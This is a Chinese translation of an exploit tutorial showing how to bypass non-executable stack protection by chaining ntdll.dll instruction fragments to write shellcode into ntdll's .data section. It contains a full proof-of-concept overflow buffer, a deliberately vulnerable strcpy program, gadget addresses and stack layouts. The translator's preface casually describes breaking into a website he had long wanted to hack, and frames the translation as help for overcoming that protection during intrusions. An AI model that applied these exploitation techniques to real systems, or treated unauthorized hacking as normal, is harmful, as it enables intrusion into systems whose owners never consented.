文章翻譯:無敵最寂寞 [E.S.T]
信息來源:邪惡八進制信息安全團隊(www.eviloctal.com

譯者注:
? 只能說好久沒發過文章了,重新回來的感覺真好。昨天手癢癢就去黑一個我一直想黑的站。在掃描過程中發現有溢出漏洞然而卻無法溢出成功,想當然的認為是掃描 器的誤報。通過其它方式成功入侵后發現系統的確有這個漏洞,但是該系統使用了堆棧保護安全機制,即使入侵成功shellcode也無法執行。以前修改 shellcode只是在變形上,現如今你再怎么變形也無法執行了。為了啃下這塊硬骨頭我四處搜索相關資料,
結果找到了這篇英文資料。但是上面沒有寫明作者是誰,從文中看估計是個叫CDROM的。由于沒有確切信息,我也不便妄自猜測因此就先用不詳代替了吧。如果哪為好心人知道原作者是說,請跟我聯系。
? 本文我在翻譯的時候加入了大量的自己的理解,如果哪位朋友發現有不對的地方還請指正。 ?


概述
在本例中,我們來實際編寫一個可以在使用堆棧保護的系統中執行的shellcode。該shellcode通過利用ntdll.dll的部分指令跳轉到我 們的代碼執行。在大多數的dll中都可以實現此方法,而且可以完全饒過堆棧保護機制,因為通過此方法并沒有任何代碼在堆棧非執行區域中執行。

詳述
我們也許都聽說過堆棧保護這么一個詞。很多安全程序提供了對堆棧中的代碼執行的保護功能(譯者注:原文這里用的是“protect”,其實我個人認為用 “disallow”或者“disable”更確切的。因為這類所謂的堆棧保護,其實就是禁止代碼在堆棧中執行。)。一些新的硬件產品也具有禁止代碼在 “非執行”內存區域中執行(比如AMD64)。然而編寫一個饒過此機制的shellcode并不是件難事,下面我給大家簡單的介紹一下。
方法就是使用dll的部分代碼來達到我們的目的。如何做到呢?首先在堆棧發生溢出的時候我們將返回地址設置成ntdll.dll中的某個指令地址,我們要利用的ntdll的部分代碼如下:
Quote:

.78462FDF: AB stosd
.78462FE0: 5F pop edi
.78462FE1: C20400 retn 00004
...

.784635EC: 8BC6 mov eax,esi
.784635EE: 5F pop edi
.784635EF: 5E pop esi
.784635F0: C3 retn

那么我們將返回地址設置成784635EC,函數返回時就會跳到784635EC地址處執行。然后我們在堆棧中的跳轉地址后面放入的一個特定的值就會被 “彈出”到edi中(譯者注:即上面784635EE處的指令。),緊跟其后的值就會被“彈出”到esi中。如上代碼所示,在前面兩個值被“彈出”后,后 面如果放的是另一個返回地址的話,那么執行到上述代碼中784635F0處的retn指令時,又會跳轉到其它代碼執行,依次類推……通
過這樣的方法,我們就可以將在其它dll中的一些可以利用的代碼片段連接起來構成一個合法的shellcode,達到不在堆棧中或者其它“非執行”區域中執行代碼的目的。
譯者注:看到這里也許還有些朋友沒有理解這個方法。這里我簡單給大家說說吧。
注意看上面我們采集的ntdll的代碼片段,如果我們在堆棧中構造這樣的數據(下面的代碼我純屬敘述方便虛構的,在實際堆棧中并不是這樣表示的):

00120000 784635ef ? ------->此處為函數的返回地址
00120004 90909090 ? ------->此處為我們shellcode中的指令
00120008 784635ec ? ------->此處指向了mov eax,esi指令地址
0012000c 784b2121 ? ------->此處指向了一段可寫區域的起始地址
00120010 90909090 ? -------->此處為我們的shellcode中的指令
00120014 78462fdf ? -------->stosd指令的地址
00120018 00000000 ? -------->無用數據
0010001c 784635ec ? -------->此處指向了mov eax,esi指令地址
00100020 00000000 ? -------->無用數據
00100024 784b2125 ? -------->此處是一段可寫區域的起始地址+4

....
....
....

當 溢出后返回時,784635ef這個值將會“彈出”到eip中,程序執行流程被改變。接著執行784635ef處的pop esi指令,即“90909090”4個字節的數據被彈入到esi中。然后執行784635f0處的retn返回指令,堆棧中00120008處的 784635ec彈入到eip中,執行mov eax,esi指令。緊接著又執行pop edi指令,堆棧中0012000c處的值784b2121彈入到edi中。然后再次執行到pop esi指令,堆棧中00120010處的“90909090”被彈入到esi中。接著又執行到retn指令,此時78462fdf彈入到eip中,開始執 行stosd指令。大家都熟悉stosd指令吧,該指令是一個串送存指令,是將eax的值送存到edi寄存器中的值所標示的地址處。然后又執行 78462FE0處的pop edi,然后執行到retn 4指令,eip的值又變成784635ec,同時esp+4,指向下一個可寫區域地址……如此循環我們就可以將我們的shellcode寫入到另一個地 方,然后再去執行我們的shellcode。這樣就可以避免shellcode在堆棧中執行。

這個方法的精髓就在這里,希望我的解釋能讓大家理解。我們繼續看正文吧:-)

注意,在這個例子中CDROM利用了上述方法將代碼轉儲(譯者注:原文此處是“dump”,不知如何翻譯更確切些。暫時翻譯成轉儲了。有更好的翻譯的朋友 歡迎指正)到ntdll 的.data段中,然后跳到轉儲后的代碼處以便執行。CDROM使用的方法并不完全可行,因為ntdll的.data段有可能也會被保護(譯者注:PE文 件格式中對段的描述也是有讀、寫、執行保護的)。但是在本例中這個CDROM的方法是可行的(雖然在實際利用的時候沒有必要轉儲代碼,我們依然可以將其它 dll中的代碼片段組合成一個完全的shellcode來執行,從而避免了在堆棧或其它“非執行”區域執行代碼)。
Shellcode:
Quote:

/*
This sample will work with ntdll Version: 5.0.2195.6899. The code should be compiled with
visual studio 6.0 in debug and default options for the project. (really,only open the
.c with visual studio and F7,and yes,yes...
*/

#include <stdio.h>
#define DEBUGZ
#ifdef DEBUGZ
/*
將要在.data段中執行的代碼如下:
nops
xor eax,eax 33 c0
push eax 50
push 0x79460e7d 68 7d 0e 46 79
ret c3

*/

/*
for debugging we have activated DEBUGZ for giving the shellcode directly to
func(), but this shellcode could go perfectly as argv[1]

*/

char exploit[]=
{
'a','a','a','a','a','a','a','a','a','a',
'a','a','a','a','a','a','a','a','a','a',
'a','a','a','a','a','a','a','a','a','a',
'a','a','a','a','a','a',
0xEF,0x35,0x46,0x78,//在這里我們將覆蓋返回地址( pop esi指令的地址)
0x90,0x90,0x90,0x90,//shellcode數據
0xEC,0x35,0x46,0x78,//mov eax,esi 指令的地址
0x21,0x21,0x4b,0x78,//執行ntdll的.data段中某個區域的首地址即0x784b2121
0x90,0x90,0x90,0x33,//shellcode數據
0xDF,0x2F,0x46,0x78,//此地址為ntdll中的stosd指令的地址
'a','a','a','a',

0xEC,0x35,0x46,0x78,//mov eax,esi 指令的地址
'a','a','a','a',
0x21+4,0x21,0x4b,0x78,//ntdll的.data段中的可寫地址+4即0x784b2125
0xc0,0x50,0x68,0x7d,//shellcode數據
0xDF,0x2F,0x46,0x78,
'a','a','a','a',

0xEC,0x35,0x46,0x78,//smov eax,esi 指令的地址
'a','a','a','a',
0x21+8,0x21,0x4b,0x78,//可寫地址+8
0x0e,0x46,0x79,0xc3,//shellcode數據
0xDF,0x2F,0x46,0x78,
'a','a','a','a',

0xEC,0x35,0x46,0x78,//mov eax,esi 指令的地址
'a','a','a','a',
0x21+12,0x21,0x4b,0x78,//可寫地址+12
0x90,0x90,0x90,0x90,//shellcode數據
0xDF,0x2F,0x46,0x78,
'a','a','a','a',

0x21,0x21,0x4b,0x78, //可寫地址的起始地址,所以shellcode寫完后我們就該跳到這里來執行了。


};
char * pexploit[2] = {exploit,exploit};
#endif

void func(int argc,char ** argv)
{
char buffer[30];

if(argc>1)
{
strcpy(buffer,argv[1]);
}
}

void main(int argc,char ** argv)
{

#ifndef DEBUGZ
func(argc,argv);
#else
func(argc,pexploit);
#endif
}

/*

This is a example of a possible shellcode for winnt with ntdll.dll version: 5.0.2195.6899.
Its only a Proof of concept about how shellcodes could avoid stack protections.

This shellcode is not executed in the stack, however it has in the stack the useful values for
conducting the thread to ntdll code and forcing this code to write executable code to
ntdll .data section. Then,it will jump that code (that code will only call exitprocess so
the program will not crash thougth overflow occured).
*/

/*

ntdll.dll 代碼片段:

-------------------------------------------------------------------------------------------

.78462FDF: AB stosd
.78462FE0: 5F pop edi
.78462FE1: C20400 retn 00004

-------------------------------------------------------------------------------------------

.784635EC: 8BC6 mov eax,esi
.784635EE: 5F pop edi
.784635EF: 5E pop esi
.784635F0: C3 retn

-------------------------------------------------------------------------------------------

.data(ntdll.dll) 784b0000 --- 這里是我們存放拷貝過來的shellcode地方

Number Name VirtSize RVA PhysSize Offset Flag-
1 .text 00045CAB 00001000 00045E00 00000400 60000020
2 ECODE 00004371 00047000 00004400 00046200 60000020
3 PAGE 00003FEB 0004C000 00004000 0004A600 60000020
4 .data 00002D84 00050000 00002200 0004E600 C0000040
5 .rsrc 0002D000 00053000 0002C400 00050800 40000040
6 .reloc 00002010 00080000 00002200 0007CC00 42000040

-------------------------------------------------------------------------------------------

這里是我們構造的溢出數據覆蓋堆棧后的樣子:
-----
???????? -> 垃圾數據
784635EF -> 第一個返回地址
???????? -> 垃圾數據

XXXXXXXX1-> 4個字節的shellcode數據(通過ntdll.dll中的784635EF地址處的 pop esi指令彈入到esi中)
784635EC -> mov eax,esi指令地址

784b2121 -> ntdll.dll的.data段中的可寫地址
XXXXXXXX2-> 4個字節的shellcode數據(通過ntdll.dll中的784635EF地址處的 pop esi指令彈入到esi中)
78462FDF -> stosd指令地址
???????? -> 垃圾數據
784635EC -> 通上
???????? ->retn 4

784b2125
XXXXXXXX3
78462FDF
????????
784635EC
????????

784b2129
XXXXXXXX4
78462FDF
????????
784635EC
????????
...

784bXXXX
XXXXXXXXN
78462FDF
????????
784b2121
????????

Nota:

784635EF -> 'xF5
????????
XXXXXXXX1
784635EC -> 'xF5
784b2121 -> 'xK!!'
XXXXXXXX2
78462FDF -> 'xF/
????????
784635EC -> 'xF5
????????
784b2125 -> 'xK!%'
XXXXXXXX3
78462FDF -> 'xF/
????????
784635EC -> 'xF5
????????
784b2129 -> 'xK!)'
XXXXXXXX4
78462FDF -> 'xF/
????????
784635EC -> 'xF5
????????
...
784bXXXX
XXXXXXXXN
78462FDF -> 'xF/
????????
784b2121 -> 'xK!!'
????????

Info of my ntdll:
----------------

Version: 5.0.2195.6899

Count of sections 6 Machine intel386
Symbol table 00000000[00000000] Wed Mar 24 03:17:14 2004
Size of optional header 00E0 Magic optional header 010B
Linker version 5.12 OS version 5.00
Image version 5.00 Subsystem version 4.00
Entry point 00000000 Size of code 0004E200
Size of init data 00030800 Size of uninit data 00000000
Size of image 00083000 Size of header 00000400
Base of code 00001000 Base of data 0004E000
Image base 78460000 Subsystem Windows char
Section alignment 00001000 File alignment 00000200
Stack 00040000/00001000 Heap 00100000/00001000
Checksum 00082A23 Number of directories 16

*/

通過上面的方法我們就可以饒過堆棧保護機制執行我們的shellcode。此文到這里就結束了,歡迎大家批評指正。

譯者注:
? ? 看完的同時,我也翻譯完了。本人水平有限,也就能講解到這個地步了。不過此文確實是經典之作,我看過后猶如剛剛欣賞完一段美麗的舞蹈。希望能給那些同樣在學習研究溢出的朋友一點啟示,也給那些被同樣問題所捆饒的朋友一點幫助吧。